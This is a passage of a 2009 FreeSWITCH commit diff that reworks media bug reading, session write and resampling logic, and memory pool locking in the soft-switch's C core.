 		switch_thread_rwlock_rdlock(session->bug_rwlock);
 		for (bp = session->bugs; bp; bp = bp->next) {
 			switch_bool_t ok = SWITCH_TRUE;
@@ -774,7 +778,7 @@
 				}
 			}
 
-			if (bp->stop_time && bp->stop_time <= switch_timestamp(NULL)) {
+			if (bp->stop_time && bp->stop_time <= switch_epoch_time_now(NULL)) {
 				ok = SWITCH_FALSE;
 			}
 
@@ -806,13 +810,15 @@
 	}
 
 	if (session->write_codec) {
-		if (!ptime_mismatch && 
+		if (!ptime_mismatch && write_frame->codec && write_frame->codec->implementation &&
 			write_frame->codec->implementation->decoded_bytes_per_packet == session->write_impl.decoded_bytes_per_packet) {
 			perfect = TRUE;
 		}
+
 		
+
 		if (perfect) {
-
+			
 			if (write_frame->datalen < session->write_impl.decoded_bytes_per_packet) {
 				memset(write_frame->data, 255, session->write_impl.decoded_bytes_per_packet - write_frame->datalen);
 				write_frame->datalen = session->write_impl.decoded_bytes_per_packet;
@@ -828,6 +834,9 @@
 											  session->write_impl.actual_samples_per_second,
 											  session->enc_write_frame.data, &session->enc_write_frame.datalen, &session->enc_write_frame.rate, &flag);
 
+
+			
+
 			switch (status) {
 			case SWITCH_STATUS_RESAMPLE:
 				resample++;
@@ -870,6 +879,7 @@
 			if (flag & SFF_CNG) {
 				switch_set_flag(write_frame, SFF_CNG);
 			}
+
 			status = perform_write(session, write_frame, flags, stream_id);
 			goto error;
 		} else {
@@ -889,7 +899,7 @@
 					goto error;
 				}
 			}
-
+			
 			if (!(switch_buffer_write(session->raw_write_buffer, write_frame->data, write_frame->datalen))) {
 				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Write Buffer %u bytes Failed!\n", write_frame->datalen);
 				status = SWITCH_STATUS_MEMERR; goto error;
@@ -905,26 +915,36 @@
 			} else {
 				switch_size_t x;
 				for (x = 0; x < frames; x++) {
+					if (switch_channel_down(session->channel) || !session->raw_write_buffer) {
+						goto error;
+					}
 					if ((session->raw_write_frame.datalen = (uint32_t)
 						 switch_buffer_read(session->raw_write_buffer, session->raw_write_frame.data, bytes)) != 0) {
 						int rate;
 						enc_frame = &session->raw_write_frame;
 						session->raw_write_frame.rate = session->write_impl.actual_samples_per_second;
 						session->enc_write_frame.datalen = session->enc_write_frame.buflen;
+						
 
-						if (frame->codec && frame->codec->implementation) {
+						
+						if (frame->codec && frame->codec->implementation && switch_core_codec_ready(frame->codec)) {
 							rate = frame->codec->implementation->actual_samples_per_second;
 						} else {
 							rate = session->write_impl.actual_samples_per_second;
 						}
-
+						
 						status = switch_core_codec_encode(session->write_codec,
 														  frame->codec,
 														  enc_frame->data,
 														  enc_frame->datalen,
 														  rate,
 														  session->enc_write_frame.data,
-														  &session->enc_write_frame.datalen, &session->enc_write_frame.rate, &flag);
+														  &session->enc_write_frame.datalen, 
+														  &session->enc_write_frame.rate, &flag);
+
+						
+						
+
 						switch (status) {
 						case SWITCH_STATUS_RESAMPLE:
 							resample++;
@@ -936,13 +956,17 @@
 							write_frame = &session->enc_write_frame;
 							if (!session->write_resampler) {
 								switch_mutex_lock(session->resample_mutex);
-								status = switch_resample_create(&session->write_resampler,
-																frame->codec->implementation->actual_samples_per_second,
-																frame->codec->implementation->decoded_bytes_per_packet,
-																session->write_impl.actual_samples_per_second,
-																session->write_impl.decoded_bytes_per_packet, session->pool);
+								if (!session->write_resampler) {
+									status = switch_resample_create(&session->write_resampler,
+																	frame->codec->implementation->actual_samples_per_second,
+																	session->write_impl.actual_samples_per_second, 
+																	session->write_impl.decoded_bytes_per_packet,
+																	SWITCH_RESAMPLE_QUALITY, 1);
+								}
 								switch_mutex_unlock(session->resample_mutex);
 
+								
+
 								if (status != SWITCH_STATUS_SUCCESS) {
 									goto done;
 								}
@@ -959,8 +983,10 @@
 						case SWITCH_STATUS_NOOP:
 							if (session->write_resampler) {
 								switch_mutex_lock(session->resample_mutex);
-								switch_resample_destroy(&session->write_resampler);
-								switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Deactivating write resampler\n");
+								if (session->write_resampler) {
+									switch_resample_destroy(&session->write_resampler);
+									switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Deactivating write resampler\n");
+								}
 								switch_mutex_unlock(session->resample_mutex);
 							}
 							enc_frame->codec = session->write_codec;
@@ -982,20 +1008,16 @@
 							goto error;
 						}
 
-						if (session->read_resampler) {
+						if (!did_write_resample && session->read_resampler) {
 							short *data = write_frame->data;
 							switch_mutex_lock(session->resample_mutex);
-
-							session->read_resampler->from_len =
-								switch_short_to_float(data, session->read_resampler->from, (int) write_frame->datalen / 2);
-							session->read_resampler->to_len = (uint32_t)
-								switch_resample_process(session->read_resampler, session->read_resampler->from,
-														session->read_resampler->from_len,
-														session->read_resampler->to, session->read_resampler->to_size, 0);
-							switch_float_to_short(session->read_resampler->to, data, write_frame->datalen * 2);
-							write_frame->samples = session->read_resampler->to_len;
-							write_frame->datalen = session->read_resampler->to_len * 2;
-							write_frame->rate = session->read_resampler->to_rate;
+							if (session->read_resampler) {
+								switch_resample_process(session->read_resampler, data, write_frame->datalen / 2);
+								memcpy(data, session->read_resampler->to, session->read_resampler->to_len * 2);
+								write_frame->samples = session->read_resampler->to_len;
+								write_frame->datalen = session->read_resampler->to_len * 2;
+								write_frame->rate = session->read_resampler->to_rate;
+							}
 							switch_mutex_unlock(session->resample_mutex);
 
 						}
@@ -1025,7 +1047,12 @@
 	}
 
 	if (do_write) {
+
+		
+
 		status = perform_write(session, write_frame, flags, stream_id);
+
+		
 	}
 	
  error:
@@ -1072,7 +1099,7 @@
 	switch_status_t status;
 	switch_dtmf_t new_dtmf;
 
-	if (switch_channel_get_state(session->channel) >= CS_HANGUP) {
+	if (switch_channel_down(session->channel)) {
 		return SWITCH_STATUS_FALSE;
 	}
 
@@ -1102,7 +1129,7 @@
 	switch_status_t status = SWITCH_STATUS_FALSE;
 	switch_dtmf_t new_dtmf;
 
-	if (switch_channel_get_state(session->channel) >= CS_HANGUP) {
+	if (switch_channel_down(session->channel)) {
 		return SWITCH_STATUS_FALSE;
 	}
 
@@ -1150,7 +1177,7 @@
 	switch_assert(session != NULL);
 
 
-	if (switch_channel_get_state(session->channel) >= CS_HANGUP) {
+	if (switch_channel_down(session->channel)) {
 		return SWITCH_STATUS_FALSE;
 	}
 

Modified: freeswitch/branches/seven/src/switch_core_media_bug.c (14471 => 14472)


--- freeswitch/branches/seven/src/switch_core_media_bug.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/switch_core_media_bug.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Michael Jerris <mike@jerris.com>
  * Paul D. Tinsley <pdt at jackhammer.org>
  *
@@ -46,6 +46,16 @@
 	}
 }
 
+SWITCH_DECLARE(void) switch_core_media_bug_pause(switch_core_session_t *session)
+{
+	switch_channel_set_flag(session->channel, CF_PAUSE_BUGS);
+}
+
+SWITCH_DECLARE(void) switch_core_media_bug_resume(switch_core_session_t *session)
+{
+	switch_channel_clear_flag(session->channel, CF_PAUSE_BUGS);
+}
+
 SWITCH_DECLARE(uint32_t) switch_core_media_bug_test_flag(switch_media_bug_t *bug, uint32_t flag)
 {
 	return switch_test_flag(bug, flag);
@@ -92,106 +102,128 @@
 	}
 }
 
-SWITCH_DECLARE(switch_status_t) switch_core_media_bug_read(switch_media_bug_t *bug, switch_frame_t *frame)
+SWITCH_DECLARE(void) switch_core_media_bug_inuse(switch_media_bug_t *bug, switch_size_t *readp, switch_size_t *writep)
 {
-	uint32_t bytes = 0;
-	uint32_t datalen = 0;
+	if (switch_test_flag(bug, SMBF_READ_STREAM)) {
+		switch_mutex_lock(bug->read_mutex);
+		*readp = bug->raw_read_buffer ? switch_buffer_inuse(bug->raw_read_buffer) : 0;
+		switch_mutex_unlock(bug->read_mutex);
+	} else {
+		*readp = 0;
+	}
+
+	if (switch_test_flag(bug, SMBF_WRITE_STREAM)) {
+		switch_mutex_lock(bug->write_mutex);
+		*writep = bug->raw_write_buffer ? switch_buffer_inuse(bug->raw_write_buffer) : 0;
+		switch_mutex_unlock(bug->write_mutex);
+	} else {
+		*writep = 0;
+	}
+}
+
+SWITCH_DECLARE(switch_status_t) switch_core_media_bug_read(switch_media_bug_t *bug, switch_frame_t *frame, switch_bool_t fill)
+{
+	switch_size_t bytes = 0, datalen = 0, ttl = 0;
 	int16_t *dp, *fp;
 	uint32_t x;
 	size_t rlen = 0;
 	size_t wlen = 0;
 	uint32_t blen;
-	size_t rdlen = 0;
-	uint32_t maxlen;
-	switch_codec_t *read_codec = switch_core_session_get_read_codec(bug->session);
+	switch_codec_implementation_t read_impl = {0};
+	int16_t *tp;
 
-	if (bug->raw_read_buffer) {
-		rlen = switch_buffer_inuse(bug->raw_read_buffer);
-	}
+	switch_core_session_get_read_impl(bug->session, &read_impl);
 
-	if (bug->raw_write_buffer) {
-		wlen = switch_buffer_inuse(bug->raw_write_buffer);
-	}
+	bytes = read_impl.decoded_bytes_per_packet;
 
-	if ((bug->raw_read_buffer && bug->raw_write_buffer) && (!rlen && !wlen)) {
+	if (frame->buflen < bytes) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "%s frame buffer too small!\n", switch_channel_get_name(bug->session->channel));
 		return SWITCH_STATUS_FALSE;
 	}
-
-	maxlen = SWITCH_RECOMMENDED_BUFFER_SIZE > frame->buflen ? frame->buflen : SWITCH_RECOMMENDED_BUFFER_SIZE;
-
-	if ((rdlen = rlen > wlen ? wlen : rlen) > maxlen) {
-		rdlen = maxlen;
+	
+	if (!(bug->raw_read_buffer && (bug->raw_write_buffer || !switch_test_flag(bug, SMBF_WRITE_STREAM)))) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "%s Buffer Error\n", switch_channel_get_name(bug->session->channel));
+		return SWITCH_STATUS_FALSE;
 	}
 
-	if (!rdlen) {
-		rdlen = maxlen;
-	}
-
+	frame->flags = 0;
 	frame->datalen = 0;
 
-	if (rlen) {
-		switch_mutex_lock(bug->read_mutex);
-
-		frame->datalen = (uint32_t) switch_buffer_read(bug->raw_read_buffer, frame->data, rdlen);
-		switch_mutex_unlock(bug->read_mutex);
+	if (!switch_buffer_inuse(bug->raw_read_buffer)) {
+		return SWITCH_STATUS_FALSE;
 	}
 
-	if (wlen) {
+	switch_mutex_lock(bug->read_mutex);
+	frame->datalen = (uint32_t) switch_buffer_read(bug->raw_read_buffer, frame->data, bytes);
+	ttl += frame->datalen;
+	switch_mutex_unlock(bug->read_mutex);
+	
+	if (switch_test_flag(bug, SMBF_WRITE_STREAM)) {
+		switch_assert(bug->raw_write_buffer);
 		switch_mutex_lock(bug->write_mutex);
-		datalen = (uint32_t) switch_buffer_read(bug->raw_write_buffer, bug->data, rdlen);
+		datalen = (uint32_t) switch_buffer_read(bug->raw_write_buffer, bug->data, bytes);
+		ttl += datalen;
+		if (fill && datalen < bytes) {
+			memset(((unsigned char *)bug->data) + datalen, 0, bytes - datalen);
+			datalen = bytes;
+		}
 		switch_mutex_unlock(bug->write_mutex);
 	}
 
+	tp = bug->tmp;
+	dp = (int16_t *) bug->data;
+	fp = (int16_t *) frame->data;
+	rlen = frame->datalen / 2;
+	wlen = datalen / 2;
+	blen = bytes / 2;
 
-	bytes = (datalen > frame->datalen) ? datalen : frame->datalen;
-	switch_assert(bytes <= maxlen);
-
-	if (bytes) {
-		int16_t *tp = bug->tmp;
-
-		dp = (int16_t *) bug->data;
-		fp = (int16_t *) frame->data;
-		rlen = frame->datalen / 2;
-		wlen = datalen / 2;
-		blen = bytes / 2;
-
-		if (switch_test_flag(bug, SMBF_STEREO)) {
-			for (x = 0; x < blen; x++) {
-				if (x < rlen) {
-					*(tp++) = *(fp + x);
-				} else {
-					*(tp++) = 0;
-				}
-				if (x < wlen) {
-					*(tp++) = *(dp + x);
-				} else {
-					*(tp++) = 0;
-				}
+	if (!fill && rlen == 0 && wlen == 0) {
+		frame->datalen = 0;
+		frame->samples = 0;
+		frame->rate = read_impl.actual_samples_per_second;
+		frame->codec = NULL;
+		return SWITCH_STATUS_FALSE;
+	}
+	
+	if (switch_test_flag(bug, SMBF_STEREO)) {
+		for (x = 0; x < blen; x++) {
+			if (x < rlen) {
+				*(tp++) = *(fp + x);
+			} else {
+				*(tp++) = 0;
 			}
-			memcpy(frame->data, bug->tmp, bytes * 2);
-		} else {
-			for (x = 0; x < blen; x++) {
-				int32_t z = 0;
+			if (x < wlen) {
+				*(tp++) = *(dp + x);
+			} else {
+				*(tp++) = 0;
+			}
+		}
+		memcpy(frame->data, bug->tmp, bytes * 2);
+	} else {
+		for (x = 0; x < blen; x++) {
+			int32_t z = 0;
 
-				if (x < rlen) {
-					z += (int32_t) *(fp + x);
-				}
-				if (x < wlen) {
-					z += (int32_t) *(dp + x);
-				}
-				switch_normalize_to_16bit(z);
-				*(fp + x) = (int16_t) z;
+			if (x < rlen) {
+				z += (int32_t) *(fp + x);
 			}
+			if (x < wlen) {
+				z += (int32_t) *(dp + x);
+			}
+			switch_normalize_to_16bit(z);
+			*(fp + x) = (int16_t) z / 2;
 		}
+	}
 
-		frame->datalen = bytes;
-		frame->samples = bytes / sizeof(int16_t);
-		frame->rate = read_codec->implementation->actual_samples_per_second;
-
-		return SWITCH_STATUS_SUCCESS;
+	if (!ttl) {
+		switch_set_flag(frame, SFF_CNG);
 	}
 
-	return SWITCH_STATUS_FALSE;
+	frame->datalen = bytes;
+	frame->samples = bytes / sizeof(int16_t);
+	frame->rate = read_impl.actual_samples_per_second;
+	frame->codec = NULL;
+	
+	return SWITCH_STATUS_SUCCESS;
 }
 
 #define MAX_BUG_BUFFER 1024 * 512
@@ -201,7 +233,19 @@
 {
 	switch_media_bug_t *bug;	//, *bp;
 	switch_size_t bytes;
+	switch_codec_implementation_t read_impl = {0};
+	switch_codec_implementation_t write_impl = {0};
+	
 
+	if (!switch_channel_media_ready(session->channel)) {
+		if (switch_channel_pre_answer(session->channel) != SWITCH_STATUS_SUCCESS) {
+			return SWITCH_STATUS_FALSE;
+		}
+	}
+
+	switch_core_session_get_read_impl(session, &read_impl);
+	switch_core_session_get_write_impl(session, &write_impl);
+
 	*new_bug = NULL;
 
 #if 0
@@ -240,7 +284,7 @@
 	bug->flags = flags;
 
 	bug->stop_time = stop_time;
-	bytes = session->read_codec->implementation->decoded_bytes_per_packet;
+	bytes = read_impl.decoded_bytes_per_packet;
 
 	if (!bug->flags) {
 		bug->flags = (SMBF_READ_STREAM | SMBF_WRITE_STREAM);
@@ -251,7 +295,7 @@
 		switch_mutex_init(&bug->read_mutex, SWITCH_MUTEX_NESTED, session->pool);
 	}
 
-	bytes = session->write_codec->implementation->decoded_bytes_per_packet;
+	bytes = write_impl.decoded_bytes_per_packet;
 
 	if (switch_test_flag(bug, SMBF_WRITE_STREAM)) {
 		switch_buffer_create_dynamic(&bug->raw_write_buffer, bytes * SWITCH_BUFFER_BLOCK_FRAMES, bytes * SWITCH_BUFFER_START_FRAMES, MAX_BUG_BUFFER);
@@ -324,7 +368,7 @@
 		status = SWITCH_STATUS_SUCCESS;
 	}
 
-	if (session->bug_codec.implementation) {
+	if (switch_core_codec_ready(&session->bug_codec)) {
 		switch_core_codec_destroy(&session->bug_codec);
 		memset(&session->bug_codec, 0, sizeof(session->bug_codec));
 	}
@@ -362,15 +406,7 @@
 	if (session->bugs) {
 		switch_thread_rwlock_wrlock(session->bug_rwlock);
 		for (bp = session->bugs; bp; bp = bp->next) {
-			if (bp->thread_id && bp->thread_id != switch_thread_self()) {
-				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "BUG is thread locked skipping.\n");
-				continue;
-			}
-
-			if (!bp->ready) {
-				continue;
-			}
-			if (bp == *bug) {
+			if ((!bp->thread_id || bp->thread_id == switch_thread_self()) && bp->ready && bp == *bug) {
 				if (last) {
 					last->next = bp->next;
 				} else {
@@ -378,6 +414,7 @@
 				}
 				break;
 			}
+
 			last = bp;
 		}
 		switch_thread_rwlock_unlock(session->bug_rwlock);
@@ -386,7 +423,7 @@
 		}
 	}
 	
-	if (!session->bugs && session->bug_codec.implementation) {
+	if (!session->bugs && switch_core_codec_ready(&session->bug_codec)) {
 		switch_core_codec_destroy(&session->bug_codec);
 		memset(&session->bug_codec, 0, sizeof(session->bug_codec));
 	}
@@ -394,6 +431,44 @@
 	return status;
 }
 
+
+SWITCH_DECLARE(switch_status_t) switch_core_media_bug_remove_callback(switch_core_session_t *session, switch_media_bug_callback_t callback)
+{
+	switch_media_bug_t *cur = NULL, *bp = NULL, *last = NULL;
+	int total = 0;
+
+	if (session->bugs) {
+		switch_thread_rwlock_wrlock(session->bug_rwlock);
+		
+		bp = session->bugs;
+		while (bp) {
+			cur = bp;
+			bp = bp->next;
+
+			if ((!cur->thread_id || cur->thread_id == switch_thread_self()) && cur->ready && cur->callback == callback) {
+				if (last) {
+					last->next = cur->next;
+				} else {
+					session->bugs = cur->next;
+				}
+				if (switch_core_media_bug_close(&cur) == SWITCH_STATUS_SUCCESS) {
+					total++;
+				}
+			} else {
+				last = cur;
+			}
+		}
+		switch_thread_rwlock_unlock(session->bug_rwlock);
+	}
+	
+	if (!session->bugs && switch_core_codec_ready(&session->bug_codec)) {
+		switch_core_codec_destroy(&session->bug_codec);
+		memset(&session->bug_codec, 0, sizeof(session->bug_codec));
+	}
+
+	return total ? SWITCH_STATUS_SUCCESS : SWITCH_STATUS_FALSE;
+}
+
 /* For Emacs:
  * Local Variables:
  * mode:c

Modified: freeswitch/branches/seven/src/switch_core_memory.c (14471 => 14472)


--- freeswitch/branches/seven/src/switch_core_memory.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/switch_core_memory.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Michael Jerris <mike@jerris.com>
  * Paul D. Tinsley <pdt at jackhammer.org>
  *
@@ -31,19 +31,25 @@
  * switch_core_memory.c -- Main Core Library (memory management)
  *
  */
+
+#include <switch.h>
+#include "private/switch_core_pvt.h"
+
 //#define DEBUG_ALLOC
 //#define DEBUG_ALLOC2
 //#define DESTROY_POOLS
-//#define PER_POOL_LOCK
 //#define INSTANTLY_DESTROY_POOLS
+//#define LOCK_MORE
+//#define USE_MEM_LOCK
+//#define SWITCH_POOL_RECYCLE
+#ifndef SWITCH_POOL_RECYCLE
+#define PER_POOL_LOCK 1
+#endif
 
-#include <switch.h>
-#include "private/switch_core_pvt.h"
-/*#define LOCK_MORE*/
-/*#define PER_POOL_LOCK 1*/
-
 static struct {
+#ifdef USE_MEM_LOCK
 	switch_mutex_t *mem_lock;
+#endif
 	switch_queue_t *pool_queue;	/* 8 ball break */
 	switch_queue_t *pool_recycle_queue;
 	switch_memory_pool_t *memory_pool;
@@ -67,8 +73,10 @@
 	switch_assert(session->pool != NULL);
 
 #ifdef LOCK_MORE
+#ifdef USE_MEM_LOCK
 	switch_mutex_lock(memory_manager.mem_lock);
 #endif
+#endif
 
 #ifdef DEBUG_ALLOC
 	if (memory > 500)
@@ -81,8 +89,10 @@
 	memset(ptr, 0, memory);
 
 #ifdef LOCK_MORE
+#ifdef USE_MEM_LOCK
 	switch_mutex_unlock(memory_manager.mem_lock);
 #endif
+#endif
 
 	return ptr;
 }
@@ -96,8 +106,10 @@
 	switch_assert(memory_manager.memory_pool != NULL);
 
 #ifdef LOCK_MORE
+#ifdef USE_MEM_LOCK
 	switch_mutex_lock(memory_manager.mem_lock);
 #endif
+#endif
 
 #ifdef DEBUG_ALLOC
 	switch_log_printf(SWITCH_CHANNEL_ID_LOG, file, func, line, NULL, SWITCH_LOG_CONSOLE, "Perm Allocate %d\n", (int) memory);
@@ -109,8 +121,10 @@
 	memset(ptr, 0, memory);
 
 #ifdef LOCK_MORE
+#ifdef USE_MEM_LOCK
 	switch_mutex_unlock(memory_manager.mem_lock);
 #endif
+#endif
 
 	return ptr;
 }
@@ -121,12 +135,19 @@
 	switch_size_t len;
 	switch_assert(memory_manager.memory_pool != NULL);
 
-	if (!todup)
+	if (!todup) {
 		return NULL;
+	}
 
+	if (switch_strlen_zero(todup)) {
+		return SWITCH_BLANK_STRING;
+	}
+
 #ifdef LOCK_MORE
+#ifdef USE_MEM_LOCK
 	switch_mutex_lock(memory_manager.mem_lock);
 #endif
+#endif
 
 	len = strlen(todup) + 1;
 	duped = apr_pstrmemdup(memory_manager.memory_pool, todup, len);
@@ -137,8 +158,10 @@
 #endif
 
 #ifdef LOCK_MORE
+#ifdef USE_MEM_LOCK
 	switch_mutex_unlock(memory_manager.mem_lock);
 #endif
+#endif
 
 	return duped;
 }
@@ -149,8 +172,10 @@
 	char *result = NULL;
 
 #ifdef LOCK_MORE
+#ifdef USE_MEM_LOCK
 	switch_mutex_lock(memory_manager.mem_lock);
 #endif
+#endif
 
 	switch_assert(session != NULL);
 	switch_assert(session->pool != NULL);
@@ -161,8 +186,10 @@
 	va_end(ap);
 
 #ifdef LOCK_MORE
+#ifdef USE_MEM_LOCK
 	switch_mutex_unlock(memory_manager.mem_lock);
 #endif
+#endif
 
 	return result;
 }
@@ -175,8 +202,10 @@
 	switch_assert(pool != NULL);
 
 #ifdef LOCK_MORE
+#ifdef USE_MEM_LOCK
 	switch_mutex_lock(memory_manager.mem_lock);
 #endif
+#endif
 
 	va_start(ap, fmt);
 
@@ -185,8 +214,10 @@
 	va_end(ap);
 
 #ifdef LOCK_MORE
+#ifdef USE_MEM_LOCK
 	switch_mutex_unlock(memory_manager.mem_lock);
 #endif
+#endif
 
 	return result;
 }
@@ -194,31 +225,42 @@
 SWITCH_DECLARE(char *) switch_core_perform_session_strdup(switch_core_session_t *session, const char *todup, const char *file, const char *func, int line)
 {
 	char *duped = NULL;
-	switch_size_t len;
 	switch_assert(session != NULL);
 	switch_assert(session->pool != NULL);
+#ifdef DEBUG_ALLOC
+	switch_size_t len;
+#endif
 
 	if (!todup) {
 		return NULL;
 	}
+
+	if (switch_strlen_zero(todup)) {
+		return SWITCH_BLANK_STRING;
+	}
+
 #ifdef LOCK_MORE
+#ifdef USE_MEM_LOCK
 	switch_mutex_lock(memory_manager.mem_lock);
 #endif
+#endif
 
-	len = strlen(todup) + 1;
 
+	
 #ifdef DEBUG_ALLOC
+	len = strlen(todup);
 	if (len > 500)
 		switch_log_printf(SWITCH_CHANNEL_ID_LOG, file, func, line, NULL, SWITCH_LOG_CONSOLE, "Sess Strdup Allocate %d\n", (int) len);
 #endif
 
-	duped = apr_pstrmemdup(session->pool, todup, len);
+	duped = apr_pstrdup(session->pool, todup);
 	switch_assert(duped != NULL);
-
-
+	
 #ifdef LOCK_MORE
+#ifdef USE_MEM_LOCK
 	switch_mutex_unlock(memory_manager.mem_lock);
 #endif
+#endif
 
 	return duped;
 }
@@ -232,9 +274,16 @@
 	if (!todup) {
 		return NULL;
 	}
+
+	if (switch_strlen_zero(todup)) {
+		return SWITCH_BLANK_STRING;
+	}
+
 #ifdef LOCK_MORE
+#ifdef USE_MEM_LOCK
 	switch_mutex_lock(memory_manager.mem_lock);
 #endif
+#endif
 
 	len = strlen(todup) + 1;
 
@@ -247,12 +296,28 @@
 	switch_assert(duped != NULL);
 
 #ifdef LOCK_MORE
+#ifdef USE_MEM_LOCK
 	switch_mutex_unlock(memory_manager.mem_lock);
 #endif
+#endif
 
 	return duped;
 }
 
+SWITCH_DECLARE(void) switch_core_memory_pool_set_data(switch_memory_pool_t *pool, const char *key, void *data)
+{
+	apr_pool_userdata_set(data, key, NULL, pool);
+}
+
+SWITCH_DECLARE(void *) switch_core_memory_pool_get_data(switch_memory_pool_t *pool, const char *key)
+{
+	void *data = NULL;
+
+	apr_pool_userdata_get(&data, key, pool);
+
+	return data;
+}
+
 SWITCH_DECLARE(void) switch_core_memory_pool_tag(switch_memory_pool_t *pool, const char *tag)
 {
 	apr_pool_tag(pool, tag);
@@ -273,7 +338,9 @@
 	void *pop = NULL;
 #endif
 
+#ifdef USE_MEM_LOCK
 	switch_mutex_lock(memory_manager.mem_lock);
+#endif
 	switch_assert(pool != NULL);
 
 #ifndef PER_POOL_LOCK
@@ -284,21 +351,22 @@
 
 #ifdef PER_POOL_LOCK
 		if ((apr_allocator_create(&my_allocator)) != APR_SUCCESS) {
-			return SWITCH_STATUS_MEMERR;
+			abort();
 		}
 
 		if ((apr_pool_create_ex(pool, NULL, NULL, my_allocator)) != APR_SUCCESS) {
-			apr_allocator_destroy(my_allocator);
-			my_allocator = NULL;
-			return SWITCH_STATUS_MEMERR;
+			abort();
 		}
 
-		if ((apr_thread_mutex_create(&my_mutex, APR_THREAD_MUTEX_DEFAULT, *pool)) != APR_SUCCESS) {
-			return SWITCH_STATUS_MEMERR;
+		if ((apr_thread_mutex_create(&my_mutex, APR_THREAD_MUTEX_NESTED, *pool)) != APR_SUCCESS) {
+			abort();
 		}
 
 		apr_allocator_mutex_set(my_allocator, my_mutex);
 		apr_allocator_owner_set(my_allocator, *pool);
+
+		apr_pool_mutex_set(*pool, my_mutex);
+		
 #else
 		apr_pool_create(pool, NULL);
 		switch_assert(*pool != NULL);
@@ -309,9 +377,13 @@
 #ifdef DEBUG_ALLOC2
 	switch_log_printf(SWITCH_CHANNEL_ID_LOG, file, func, line, NULL, SWITCH_LOG_CONSOLE, "New Pool\n");
 #endif
-	tmp = switch_core_sprintf(*pool, "%s:%d", func, line);
+	tmp = switch_core_sprintf(*pool, "%s:%d", file, line);
 	apr_pool_tag(*pool, tmp);
+
+
+#ifdef USE_MEM_LOCK
 	switch_mutex_unlock(memory_manager.mem_lock);
+#endif
 
 	return SWITCH_STATUS_SUCCESS;
 }
@@ -325,10 +397,22 @@
 #endif
 
 #ifdef INSTANTLY_DESTROY_POOLS
+#ifdef USE_MEM_LOCK
+	switch_mutex_lock(memory_manager.mem_lock);
+#endif
 	apr_pool_destroy(*pool);
+#ifdef USE_MEM_LOCK
+	switch_mutex_unlock(memory_manager.mem_lock);
+#endif
 #else
 	if ((memory_manager.pool_thread_running != 1) || (switch_queue_push(memory_manager.pool_queue, *pool) != SWITCH_STATUS_SUCCESS)) {
+#ifdef USE_MEM_LOCK
+	switch_mutex_lock(memory_manager.mem_lock);
+#endif
 		apr_pool_destroy(*pool);
+#ifdef USE_MEM_LOCK
+	switch_mutex_unlock(memory_manager.mem_lock);
+#endif
 	}
 #endif
 
@@ -344,8 +428,10 @@
 	switch_assert(pool != NULL);
 
 #ifdef LOCK_MORE
+#ifdef USE_MEM_LOCK
 	switch_mutex_lock(memory_manager.mem_lock);
 #endif
+#endif
 
 #ifdef DEBUG_ALLOC
 	if (memory > 500)
@@ -358,17 +444,17 @@
 	memset(ptr, 0, memory);
 
 #ifdef LOCK_MORE
+#ifdef USE_MEM_LOCK
 	switch_mutex_unlock(memory_manager.mem_lock);
 #endif
+#endif
 
 	return ptr;
 }
 
 SWITCH_DECLARE(void) switch_core_memory_reclaim(void)
 {
-#ifdef INSTANTLY_DESTROY_POOLS
-	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CONSOLE, "Recycled memory pool(s) disabled.\n");
-#else
+#if !defined(PER_POOL_LOCK) && !defined(INSTANTLY_DESTROY_POOLS)
 	switch_memory_pool_t *pool;
 	void *pop = NULL;
 	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CONSOLE, "Returning %d recycled memory pool(s)\n",
@@ -379,9 +465,16 @@
 		if (!pool) {
 			break;
 		}
+#ifdef USE_MEM_LOCK
+	switch_mutex_lock(memory_manager.mem_lock);
+#endif
 		apr_pool_destroy(pool);
+#ifdef USE_MEM_LOCK
+	switch_mutex_unlock(memory_manager.mem_lock);
+#endif
 	}
 #endif
+	return;
 }
 
 static void *SWITCH_THREAD_FUNC pool_thread(switch_thread_t *thread, void *obj)
@@ -395,7 +488,9 @@
 			int x = len, done = 0;
 
 			switch_yield(1000000);
+#ifdef USE_MEM_LOCK
 			switch_mutex_lock(memory_manager.mem_lock);
+#endif
 			while (x > 0) {
 				void *pop = NULL;
 				if (switch_queue_pop(memory_manager.pool_queue, &pop) != SWITCH_STATUS_SUCCESS || !pop) {
